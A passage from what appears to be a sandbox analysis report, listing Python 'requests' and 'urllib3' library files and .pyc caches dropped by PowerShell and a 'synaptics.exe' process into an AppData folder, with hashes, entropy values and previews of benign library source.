              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\hooks.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):733
              Entropy (8bit):4.520976235953487
              Encrypted:false
              SSDEEP:
              MD5:94EB29001B47E2886C00D1E201B8733D
              SHA1:6C2AEBE642D6471E70534C45E039DF709B23435D
              SHA-256:0A2BB2B221C0DFD57951F702057148C7CDC8AC3A6EC1F37D45C4D482FDBC7ED4
              SHA-512:15F9F577F2A490427BCFFCA5C217CB8D544431391942264352679174621CF2DB183D293F478083EBA592E1AFF059CF7F41F24AA1538933990819D4B3E49B48A3
              Malicious:false
              Reputation:unknown
              Preview:""".requests.hooks.~~~~~~~~~~~~~~..This module provides the capabilities for the Requests hooks system...Available hooks:..``response``:. The response generated from a Request..""".HOOKS = ["response"]...def default_hooks():. return {event: [] for event in HOOKS}...# TODO: response is the only one...def dispatch_hook(key, hooks, hook_data, **kwargs):. """Dispatches a hook dictionary on a given piece of data.""". hooks = hooks or {}. hooks = hooks.get(key). if hooks:. if hasattr(hooks, "__call__"):. hooks = [hooks]. for hook in hooks:. _hook_data = hook(hook_data, **kwargs). if _hook_data is not None:. hook_data = _hook_data. return hook_data.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\models.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):35418
              Entropy (8bit):4.354781700171542
              Encrypted:false
              SSDEEP:
              MD5:499AE24BE7C778F6F7C9923E85B48442
              SHA1:6E6CDE55FAAF8707DE25B1F95167CDFE4D57F420
              SHA-256:938DABA17CC2F2EFCE6A000F422F54E0C91F3BB8B8AF615D6AABCCAACB4F7A17
              SHA-512:6E33802C518E1BF2C6D6C3D5FC0B7AE9E95087CDB7F7437E1586C1DE682DF298052F3D3A37DC0E1112CBFA4C4010B7123D91365F191CDC00BD036EA997CD096F
              Malicious:false
              Reputation:unknown
              Preview:""".requests.models.~~~~~~~~~~~~~~~..This module contains the primary objects that power Requests.."""..import datetime..# Import encoding now, to avoid implicit import later..# Implicit import within threads may cause LookupError when standard library is in a ZIP,.# such as in Embedded Python. See https://github.com/psf/requests/issues/3578..import encodings.idna # noqa: F401.from io import UnsupportedOperation..from urllib3.exceptions import (. DecodeError,. LocationParseError,. ProtocolError,. ReadTimeoutError,. SSLError,.).from urllib3.fields import RequestField.from urllib3.filepost import encode_multipart_formdata.from urllib3.util import parse_url..from ._internal_utils import to_native_string, unicode_is_ascii.from .auth import HTTPBasicAuth.from .compat import (. Callable,. JSONDecodeError,. Mapping,. basestring,. builtin_str,. chardet,. cookielib,.).from .compat import json as complexjson.from .compat import urlencode, urlsplit, urlunparse

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\packages.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):904
              Entropy (8bit):4.60636288741538
              Encrypted:false
              SSDEEP:
              MD5:93627108FEE7284C7F390B0F02FD3C68
              SHA1:285B7A8C218FDACE1384D7B61A1002C00CB2AD91
              SHA-256:FE0D2067AF355320252874631FA91A9DB6A8C71D9E01BEAACDC5E2383C932287
              SHA-512:A6451C980E77A470C4E94C3B883CF73B20DCA79BF478BB789D7FE7FB1E7FDEB0DE9899A877EB3EC5624213DD4215D6AF3D7674F76676E136D6B63C73ADC89AA9
              Malicious:false
              Reputation:unknown
              Preview:import sys..from .compat import chardet..# This code exists for backwards compatibility reasons..# I don't like it either. Just look the other way. :)..for package in ("urllib3", "idna"):. locals()[package] = __import__(package). # This traversal is apparently necessary such that the identities are. # preserved (requests.packages.urllib3.* is urllib3.*). for mod in list(sys.modules):. if mod == package or mod.startswith(f"{package}."):. sys.modules[f"requests.packages.{mod}"] = sys.modules[mod]..if chardet is not None:. target = chardet.__name__. for mod in list(sys.modules):. if mod == target or mod.startswith(f"{target}."):. imported_mod = sys.modules[mod]. sys.modules[f"requests.packages.{mod}"] = imported_mod. mod = mod.replace(target, "chardet"). sys.modules[f"requests.packages.{mod}"] = imported_mod.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\sessions.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):30495
              Entropy (8bit):4.460797684751317
              Encrypted:false
              SSDEEP:
              MD5:FD6FA1069669812DE222D61D2288FF75
              SHA1:93881C774BA82AB62EE50D4A56C7B6F64CD81683
              SHA-256:CA44C8F145864A5B4E7C7D3B1CAA25947EE44C11B0E168620556901A67244F0E
              SHA-512:781E08FB8A5194FB40480509AEACB4BDF84439A99F9501D16E03889BC4D76399B7E0563D8887ED7F948F96C8775D3850880346182431362634CDB5008AC2AC93
              Malicious:false
              Reputation:unknown
              Preview:""".requests.sessions.~~~~~~~~~~~~~~~~~..This module provides a Session object to manage and persist settings across.requests (cookies, auth, proxies)..""".import os.import sys.import time.from collections import OrderedDict.from datetime import timedelta..from ._internal_utils import to_native_string.from .adapters import HTTPAdapter.from .auth import _basic_auth_str.from .compat import Mapping, cookielib, urljoin, urlparse.from .cookies import (. RequestsCookieJar,. cookiejar_from_dict,. extract_cookies_to_jar,. merge_cookies,.).from .exceptions import (. ChunkedEncodingError,. ContentDecodingError,. InvalidSchema,. TooManyRedirects,.).from .hooks import default_hooks, dispatch_hook..# formerly defined here, reexposed here for backward compatibility.from .models import ( # noqa: F401. DEFAULT_REDIRECT_LIMIT,. REDIRECT_STATI,. PreparedRequest,. Request,.).from .status_codes import codes.from .structures import CaseInsensitiveDict.from .utils import

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\status_codes.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable
              Category:dropped
              Size (bytes):4322
              Entropy (8bit):4.81445381763577
              Encrypted:false
              SSDEEP:
              MD5:A5E303E512B9548DB88263894AB73FD7
              SHA1:CF59C07D2DFA28475074B8592DB1FE8024A02B9B
              SHA-256:889500780DB96DA4DDC3EE8F7C3D1E178AA1A48343251248FB268CAB1B382C42
              SHA-512:583146A07FDC94D21093A4025AE133183528F165FD75134C1861A38FFD53F6A76A0ED8189A4938736A1312CCB99B7C7582E4843E656273AD6EF63F2C3710EAF5
              Malicious:false
              Reputation:unknown
              Preview:r""".The ``codes`` object defines a mapping from common names for HTTP statuses.to their numerical codes, accessible either as attributes or as dictionary.items...Example::.. >>> import requests. >>> requests.codes['temporary_redirect']. 307. >>> requests.codes.teapot. 418. >>> requests.codes['\o/']. 200..Some codes have multiple names, and both upper- and lower-case versions of.the names are allowed. For example, ``codes.ok``, ``codes.OK``, and.``codes.okay`` all correspond to the HTTP status code 200.."""..from .structures import LookupDict.._codes = {. # Informational.. 100: ("continue",),. 101: ("switching_protocols",),. 102: ("processing", "early-hints"),. 103: ("checkpoint",),. 122: ("uri_too_long", "request_uri_too_long"),. 200: ("ok", "okay", "all_ok", "all_okay", "all_good", "\\o/", "."),. 201: ("created",),. 202: ("accepted",),. 203: ("non_authoritative_info", "non_authoritative_information"),. 204: ("no_content",),.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\structures.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2912
              Entropy (8bit):4.67487833368712
              Encrypted:false
              SSDEEP:
              MD5:077948910AE6FB44DC6E58D3D25D6AEE
              SHA1:B5C2C740B9FF7D27A83AC4C80E3AE741AA33B5BE
              SHA-256:F886E6855CF4E92FB968F499B94B6167AFBA0FD5CE8D1B935C739A6D8D38D573
              SHA-512:B9256700252D4330095253FF3ABAA885CC97967AAFB39EEB6720DB90AD55F6A9E70D925CDF0B77CA15E9DED6FAAB571EE2660FD2FDBA038DAD3247798FC22BC0
              Malicious:false
              Reputation:unknown
              Preview:""".requests.structures.~~~~~~~~~~~~~~~~~~~..Data structures that power Requests.."""..from collections import OrderedDict..from .compat import Mapping, MutableMapping...class CaseInsensitiveDict(MutableMapping):. """A case-insensitive ``dict``-like object... Implements all methods and operations of. ``MutableMapping`` as well as dict's ``copy``. Also. provides ``lower_items``... All keys are expected to be strings. The structure remembers the. case of the last key to be set, and ``iter(instance)``,. ``keys()``, ``items()``, ``iterkeys()``, and ``iteritems()``. will contain case-sensitive keys. However, querying and contains. testing is case insensitive::.. cid = CaseInsensitiveDict(). cid['Accept'] = 'application/json'. cid['aCCEPT'] == 'application/json' # True. list(cid) == ['Accept'] # True.. For example, ``headers['content-encoding']`` will return the. value of a ``'Content-Encoding'`` response header, regardless. o

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\utils.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):33619
              Entropy (8bit):4.611675440285785
              Encrypted:false
              SSDEEP:
              MD5:4E3490570730D254FD88E48E09DEAA89
              SHA1:D52C10F7295FB402D715845C7F7E6DD221EB7C64
              SHA-256:1E2402E8DABF0DADE4B5A32217342487E7429378901C7284B184B990373EF02C
              SHA-512:30F88C77DF5772331823D70A2D37E58A7FBD3D480503B6A93E50927D9BA75E51CA6532B84AA1902645028100EDE82BA988E6E2903C80A9B0D5D2D9F40FF3A456
              Malicious:false
              Reputation:unknown
              Preview:""".requests.utils.~~~~~~~~~~~~~~..This module provides utility functions that are used within Requests.that are also useful for external consumption.."""..import codecs.import contextlib.import io.import os.import re.import socket.import struct.import sys.import tempfile.import warnings.import zipfile.from collections import OrderedDict..from urllib3.util import make_headers, parse_url..from . import certs.from .__version__ import __version__..# to_native_string is unused here, but imported here for backwards compatibility.from ._internal_utils import ( # noqa: F401. _HEADER_VALIDATORS_BYTE,. _HEADER_VALIDATORS_STR,. HEADER_VALIDATORS,. to_native_string,.).from .compat import (. Mapping,. basestring,. bytes,. getproxies,. getproxies_environment,. integer_types,.).from .compat import parse_http_list as _parse_list_header.from .compat import (. proxy_bypass,. proxy_bypass_environment,. quote,. str,. unquote,. urlparse,. urlunparse,.).f

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6979
              Entropy (8bit):4.826414206670692
              Encrypted:false
              SSDEEP:
              MD5:4877CC4151D65B254317F34DDD8EF09E
              SHA1:E5664A19D6EF51317AD3F18DFF841833B34F9EB9
              SHA-256:24CA35B60D67215D40789DAF10D0BF4F17E5D1EE61E86CE5F43195935AD645BA
              SHA-512:C15E5BD7EFB60C4306B5FE068437BA1938003A0F2B8E0E44CCF773CE6FBE12870252297C18D9FCD1DC315141DC1ED8406BC4A01F2CEA99FC250A685647813912
              Malicious:false
              Reputation:unknown
              Preview:""".Python HTTP library with thread-safe connection pooling, file post support, user friendly, and more."""..from __future__ import annotations..# Set default logging handler to avoid "No handler found" warnings..import logging.import sys.import typing.import warnings.from logging import NullHandler..from . import exceptions.from ._base_connection import _TYPE_BODY.from ._collections import HTTPHeaderDict.from ._version import __version__.from .connectionpool import HTTPConnectionPool, HTTPSConnectionPool, connection_from_url.from .filepost import _TYPE_FIELDS, encode_multipart_formdata.from .poolmanager import PoolManager, ProxyManager, proxy_from_url.from .response import BaseHTTPResponse, HTTPResponse.from .util.request import make_headers.from .util.retry import Retry.from .util.timeout import Timeout..# Ensure that Python is compiled with OpenSSL 1.1.1+.# If the 'ssl' module isn't available at all that's.# fine, we only care if the module is available..try:. import ssl.except I

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\__pycache__\__init__.cpython-310.pyc.30272672

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):6104
              Entropy (8bit):5.512381826649141
              Encrypted:false
              SSDEEP:
              MD5:6AA1B690A33CA33179C99B3FEA1E8FB5
              SHA1:4473B58F138F31E56AA24D1376AD81B7D8576D9C
              SHA-256:EAB1FC3D413F3E62DEC62FE4746E2E6E51945244024FE6EBF76EFFD19212FFF5
              SHA-512:D9146003313007789181545C0B62879BE4B50EFC2339FF2F875F7588C9BFA8FE7E05968CC46166B042F07E76EFCF5BD86B984F55BE725252FEC028CDC23F2F5B
              Malicious:false
              Reputation:unknown
              Preview:o........g.fC........................@...s....d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l"m#Z#..z.d.d.l$Z$W.n...e%y{......Y.n"w.e$j&.'d...s.e..(d.e$j&..d...e.j)....n.e$j*d.k.r.e%d.e$j&..d.......d.Z+d.Z,e.Z.d.Z-e...e/...0e.......e.j1f.dBd.d...Z2[.e.j3d.e.j4d d!....e.j3d"e.j5d d!....e.j6f.dCd&d'..Z7e...Z8d.d.d.d d d d.d(d.d)..dDd>d?..Z9e.j:d@k.r.d.dAl;m<Z<..e<....d.S.d.S.)Eze.Python HTTP library with thread-safe connection pooling, file post support, user friendly, and more......)...annotationsN)...NullHandler.....)...exceptions)..._TYPE_BODY)...HTTPHeaderDict)...__version__)...HTTPConnectionPool..HTTPSConnectionPool..connection_from_url)..._TYPE_FIELDS..encode_multipart_formdata)...PoolManager..ProxyManager..proxy_from_url)...BaseHTTPResponse..HTTPResponse)...make_headers)...Retry)...Timeoutz.OpenSSL zUurllib3 v2 only suppo

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\__pycache__\_base_connection.cpython-310.pyc.55905232

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):5679
              Entropy (8bit):5.125034005614085
              Encrypted:false
              SSDEEP:
              MD5:41CF29B38DBAFBEA814B173CBCF722EC
              SHA1:048BECA50B4B93B78A4F51DF57625768C0DA9779
              SHA-256:2EFC6542FB0B48819E836142CEE103DBF9B37565034A06CA1EEFB441C9148A5E
              SHA-512:28566876722E84576BFD26F3E2EDAA7E8A7A800E363FFC228C00F5D22F531D4AE210C18C96B31531DD2C0AC7EAD18741252B7ECA0DD23A861441CADBD30E1097
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...e.j.e.e.j.e.j...e.j.e...e.f...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.e.j.rfd.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.G.d.d...d.e.e...Z.d.S.d.S.)......)...annotationsN.....)..._TYPE_SOCKET_OPTIONS)..._DEFAULT_TIMEOUT.._TYPE_TIMEOUT)...Urlc....................@...s....e.Z.d.Z.U.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.S.)...ProxyConfig..ssl.SSLContext | None..ssl_context..boolZ.use_forwarding_for_https."None | str | typing.Literal[False]..assert_hostname..str | None..assert_fingerprintN....__name__..__module__..__qualname__..__annotations__..r....r.....TC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\_base_connection.pyr........s..............r....c....................@...s6...e.Z.d.Z.U.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.S.)..._ResponseOptions..strZ.request_methodZ.request_urlr......preload_content..decode_content..enforce_content_lengthNr....r....r....r....r...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\__pycache__\_collections.cpython-310.pyc.59707832

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):16245
              Entropy (8bit):5.259224002169401
              Encrypted:false
              SSDEEP:
              MD5:27A2828AEAC9D6743BE02E01D895CED6
              SHA1:119B65CEB6C508EF5990F7FA1BA918DE8C5659FC
              SHA-256:75FAA569DD410725B1B82D830846E22368B0B570981D146B1E2181C912F10CD5
              SHA-512:CA40559FC9342A0ECCE91114D5EDB1ABED5BD5F0AB65CFB0656B4FB670EA9B9E0A0E4C0C33DBDFBEE7EC1DB809BC661A402876CAF72469D22ECCDE802C321C2C
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.C.......................@...s:...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...e.j.r5d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d.g.Z.e...d...Z.e...d...Z.e...d...Z.e.j.d.e.j.e.e.f...e.j.e.j.e.e.f.....d.f...Z.G.d.d...d.e...Z.d.d.d...Z.G.d.d...d.e.j.e.e.f...e.j.e.e.f.....Z.G.d.d...d.e.j.e.j.e.e.f.......Z G.d.d...d.e.j.e.e.f.....Z!d.S.)......)...annotationsN)...OrderedDict)...Enum..auto)...RLock)...Protocol)...Selfc....................@...s ...e.Z.d.Z.d.d.d...Z.d.d.d...Z.d.S.)...HasGettableStringKeys..return..typing.Iterator[str]c....................C........d.S...N......selfr....r.....PC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\_collections.py..keys...........z.HasGettableStringKeys.keys..key..strc....................C...r....r....r......r....r....r....r....r......__getitem__....r....z!HasGettableStringKeys.__getitem__N..r....r......r....r....r....r....)...__name__..__module__..__qualname__r....r....r....r....r....r....r........s..........r

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\__pycache__\_version.cpython-310.pyc.59341344

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):492
              Entropy (8bit):5.4095620714655475
              Encrypted:false
              SSDEEP:
              MD5:B41ABA3ECD61571603A8BCE641E5ACE9
              SHA1:CF2D257526B29C1DB504D28ADB0191E7B4E58791
              SHA-256:B60BD3CABC2EFDDF1149B62A4E761723D64FD790EFFCEF49C7FA9DB9D98D72DE
              SHA-512:F05AC7CF72EA6B938714624753E3600D5D7DEDA70D4CAC8F8362B63DA719947DC8A3BF4D20A5472278004D352711779D133E71E7303BA92305ADB2ADA4C5EA39
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.........................@...sh...U.d.Z.e.r.d.d.l.m.Z.m.Z...e.e.e.e.f...d.f...Z.n.e.Z.e.e.d.<.e.e.d.<.e.e.d.<.e.e.d.<.d...Z.Z.d...Z.Z.d.S.).F.....)...Tuple..Union...version..__version__..__version_tuple__..version_tuplez.2.2.3)......r.........N)...TYPE_CHECKING..typingr....r......int..strZ.VERSION_TUPLE..object..__annotations__r....r....r....r......r....r.....LC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\_version.py..<module>....s..........................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\__pycache__\exceptions.cpython-310.pyc.59339552

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):13232
              Entropy (8bit):4.95565649030817
              Encrypted:false
              SSDEEP:
              MD5:440197382E873FFE63BB06B33377D1B7
              SHA1:F1CB34871391C0F7460EECD131F819F87B3F2B0D
              SHA-256:58F5E7DAF1438DB68D4599E2BD116ABC32614EB0C57013E208661BB6D72BE7C5
              SHA-512:2126D2D66B01DFED849A180CDA637CB573883202BA1E902DE15FAAB5BF18569D90C66851D6BDA46B72646E017C2EEB1E701E29812BB4CDD70733FE19BDF37A7F
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.$.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...e.j.r9d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.e.j.e.j.d.e.f...e.j.e.d.f...f...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z e Z!G.d.d...d.e...Z"G.d.d...d.e...Z#G.d.d ..d e...Z$G.d!d"..d"e...Z%G.d#d$..d$e%e...Z&G.d%d&..d&e%..Z'G.d'd(..d(e'e...Z(G.d)d*..d*e(..Z)G.d+d,..d,e...Z*G.d-d...d.e...Z+G.d/d0..d0e...Z,G.d1d2..d2e-e...Z.G.d3d4..d4e...Z/G.d5d6..d6e...Z0G.d7d8..d8e...Z1G.d9d:..d:e...Z2G.d;d<..d<e2..Z3G.d=d>..d>e2..Z4G.d?d@..d@e2..Z5G.dAdB..dBe2..Z6G.dCdD..dDe...Z7G.dEdF..dFe e-..Z8G.dGdH..dHe...Z9G.dIdJ..dJe.e...Z.G.dKdL..dLe.e...Z:G.dMdN..dNe...Z;G.dOdP..dPe<e0..Z=G.dQdR..dRe-..Z>G.dSdT..dTe...Z?G.dUdV..dVe...Z@d.S.)W.....)...annotationsN)...MessageDefect)...IncompleteRead.....)...HTTPConnection)...ConnectionPool)...HTTPResponse)...Retryc....................@........e.Z.d.Z.d.Z.d.S.)...HT

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\_base_connection.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5652
              Entropy (8bit):4.385437607210861
              Encrypted:false
              SSDEEP:
              MD5:C404FCB347BBB0C9651746B8DA17B99E
              SHA1:822202F3637075CA0A78F99C742D98FC71C1DE18
              SHA-256:B47D1994EC562A291AF92F4D5BE32E22523F3CB1505149929E813FF4C7B2C243
              SHA-512:599772AB02898C94383C21940AB7BB9D36BCD0CAE4B912E9D9FABCEEB2A8AB92C6B7F016ADD4A5A8250B4CC26DD1DECB88B22466095AFDA75F50D7000FED33C5
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import typing..from .util.connection import _TYPE_SOCKET_OPTIONS.from .util.timeout import _DEFAULT_TIMEOUT, _TYPE_TIMEOUT.from .util.url import Url.._TYPE_BODY = typing.Union[bytes, typing.IO[typing.Any], typing.Iterable[bytes], str]...class ProxyConfig(typing.NamedTuple):. ssl_context: ssl.SSLContext | None. use_forwarding_for_https: bool. assert_hostname: None | str | typing.Literal[False]. assert_fingerprint: str | None...class _ResponseOptions(typing.NamedTuple):. # TODO: Remove this in favor of a better. # HTTP request/response lifecycle tracking.. request_method: str. request_url: str. preload_content: bool. decode_content: bool. enforce_content_length: bool...if typing.TYPE_CHECKING:. import ssl. from typing import Protocol.. from .response import BaseHTTPResponse.. class BaseHTTPConnection(Protocol):. default_port: typing.ClassVar[int]. default_socket_options: typing.ClassVar[_TYPE_S

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\_collections.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):17370
              Entropy (8bit):4.557370767128349
              Encrypted:false
              SSDEEP:
              MD5:C3CDC267A128543F059EEAEEDE1F2C83
              SHA1:56F9433B94D41A65ECDCA4FBA08EB109DDED2181
              SHA-256:686861F7309871EDE8FB9156F433D251ACBA3BD2E31F1F33E93EF00ED761AE46
              SHA-512:1301FB9465A90595C7931CB52CDBE7206C490E3BB6030759C9CA44C8A5115C652C3215872488474025A83175C30A821DF401162916B2E96D3F9505D863B9474A
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import typing.from collections import OrderedDict.from enum import Enum, auto.from threading import RLock..if typing.TYPE_CHECKING:. # We can only import Protocol if TYPE_CHECKING because it's a development. # dependency, and is not available at runtime.. from typing import Protocol.. from typing_extensions import Self.. class HasGettableStringKeys(Protocol):. def keys(self) -> typing.Iterator[str]:. ..... def __getitem__(self, key: str) -> str:. ......__all__ = ["RecentlyUsedContainer", "HTTPHeaderDict"]...# Key type._KT = typing.TypeVar("_KT").# Value type._VT = typing.TypeVar("_VT").# Default type._DT = typing.TypeVar("_DT")..ValidHTTPHeaderSource = typing.Union[. "HTTPHeaderDict",. typing.Mapping[str, str],. typing.Iterable[typing.Tuple[str, str]],. "HasGettableStringKeys",.]...class _Sentinel(Enum):. not_passed = auto()...def ensure_can_construct_http_header_dict(. potential: o

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\_request_methods.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):9938
              Entropy (8bit):4.47758158257172
              Encrypted:false
              SSDEEP:
              MD5:CB3D35E4D0ED5F5A4C7BEABE7168DBA0
              SHA1:E2C7EC3AE37D65F4B88F04B8AED307EBA0EA7ED6
              SHA-256:2D30F11DE9C43F95D7FAD55604D904900822CC211191917424AF85FB00B1AB02
              SHA-512:3574E2C1EF9519B7B8181389746CBBAC1FD66CA243F51B64C03239B963DE4B266B17CF8502985FA5B4C1457D6DEAFD66D05E50B6CBDBC85B5A718B02EA1E5B77
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import json as _json.import typing.from urllib.parse import urlencode..from ._base_connection import _TYPE_BODY.from ._collections import HTTPHeaderDict.from .filepost import _TYPE_FIELDS, encode_multipart_formdata.from .response import BaseHTTPResponse..__all__ = ["RequestMethods"].._TYPE_ENCODE_URL_FIELDS = typing.Union[. typing.Sequence[typing.Tuple[str, typing.Union[str, bytes]]],. typing.Mapping[str, typing.Union[str, bytes]],.]...class RequestMethods:. """. Convenience mixin for classes who implement a :meth:`urlopen` method, such. as :class:`urllib3.HTTPConnectionPool` and. :class:`urllib3.PoolManager`... Provides behavior for making common types of HTTP request methods and. decides which type of request field encoding to use... Specifically,.. :meth:`.request_encode_url` is for sending requests whose fields are. encoded in the URL (such as GET, HEAD, DELETE)... :meth:`.request_encode_body` is for sending re

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\_version.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):411
              Entropy (8bit):5.078128264389055
              Encrypted:false
              SSDEEP:
              MD5:80553D52C0C24DC6C9113FBA228EC0FA
              SHA1:200FDE915016A8F3D6F35C122DA092C725A7C085
              SHA-256:805EF333C02C74B46A860B5E5DEB0D1DBEFFB7CBA4AF6CF39289368359EFBE10
              SHA-512:8D7B197995B7D352E6C099B441FD6B0489D6F6FCBCEEC57C93CB509F943728894FF4F3D061025DD3698E55F3B31886E22B7B94300D5D13CF9019ADFCB90E8DBE
              Malicious:false
              Reputation:unknown
              Preview:# file generated by setuptools_scm.# don't change, don't track in version control.TYPE_CHECKING = False.if TYPE_CHECKING:. from typing import Tuple, Union. VERSION_TUPLE = Tuple[Union[int, str], ...].else:. VERSION_TUPLE = object..version: str.__version__: str.__version_tuple__: VERSION_TUPLE.version_tuple: VERSION_TUPLE..__version__ = version = '2.2.3'.__version_tuple__ = version_tuple = (2, 2, 3).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\connection.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with very long lines (301)
              Category:dropped
              Size (bytes):39508
              Entropy (8bit):4.473272978235349
              Encrypted:false
              SSDEEP:
              MD5:A41ED36F212B28587E42422FFB9E4B42
              SHA1:C72D8E815D23D7D4B1213CCA6CF55793E901461D
              SHA-256:400C21395E4639576C16732F5F956FE9F43C7F8EC4CDFAD138002B7F145D40E6
              SHA-512:70EE018BC8019DA1E6C68395FD6BAEB652830785C0A32A5CF3269C3B7E4939A7DA683078C578022B1FD408240F51B2A818D62FF31718A5423EC884B5F972B2FB
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import datetime.import http.client.import logging.import os.import re.import socket.import sys.import threading.import typing.import warnings.from http.client import HTTPConnection as _HTTPConnection.from http.client import HTTPException as HTTPException # noqa: F401.from http.client import ResponseNotReady.from socket import timeout as SocketTimeout..if typing.TYPE_CHECKING:. from .response import HTTPResponse. from .util.ssl_ import _TYPE_PEER_CERT_RET_DICT. from .util.ssltransport import SSLTransport..from ._collections import HTTPHeaderDict.from .http2 import probe as http2_probe.from .util.response import assert_header_parsing.from .util.timeout import _DEFAULT_TIMEOUT, _TYPE_TIMEOUT, Timeout.from .util.util import to_str.from .util.wait import wait_for_read..try: # Compiled with SSL?. import ssl.. BaseSSLError = ssl.SSLError.except (ImportError, AttributeError):. ssl = None # type: ignore[assignment].. class BaseSSLError

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\connectionpool.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):43393
              Entropy (8bit):4.361070165720964
              Encrypted:false
              SSDEEP:
